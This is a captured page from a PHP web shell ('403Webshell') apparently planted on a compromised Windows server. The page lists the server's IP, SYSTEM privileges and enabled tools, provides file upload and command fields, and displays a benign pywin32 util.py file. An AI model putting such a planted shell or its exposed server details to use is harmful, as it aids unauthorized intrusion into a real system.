403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/win32com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/win32com/util.py
"""General utility functions common to client and server.

  This module contains a collection of general purpose utility functions.
"""
import pythoncom
import win32api, win32con

def IIDToInterfaceName(iid):
	"""Converts an IID to a string interface name.  
	
	Used primarily for debugging purposes, this allows a cryptic IID to
	be converted to a useful string name.  This will firstly look for interfaces
	known (ie, registered) by pythoncom.  If not known, it will look in the
	registry for a registered interface.

	iid -- An IID object.

	Result -- Always a string - either an interface name, or '<Unregistered interface>'
	"""
	try:
		return pythoncom.ServerInterfaces[iid]
	except KeyError:
		try:
			try:
				return win32api.RegQueryValue(win32con.HKEY_CLASSES_ROOT, "Interface\\%s" % iid)
			except win32api.error:
				pass
		except ImportError:
			pass
		return str(iid)


Youez - 2016 - github.com/yon3zu
LinuXploit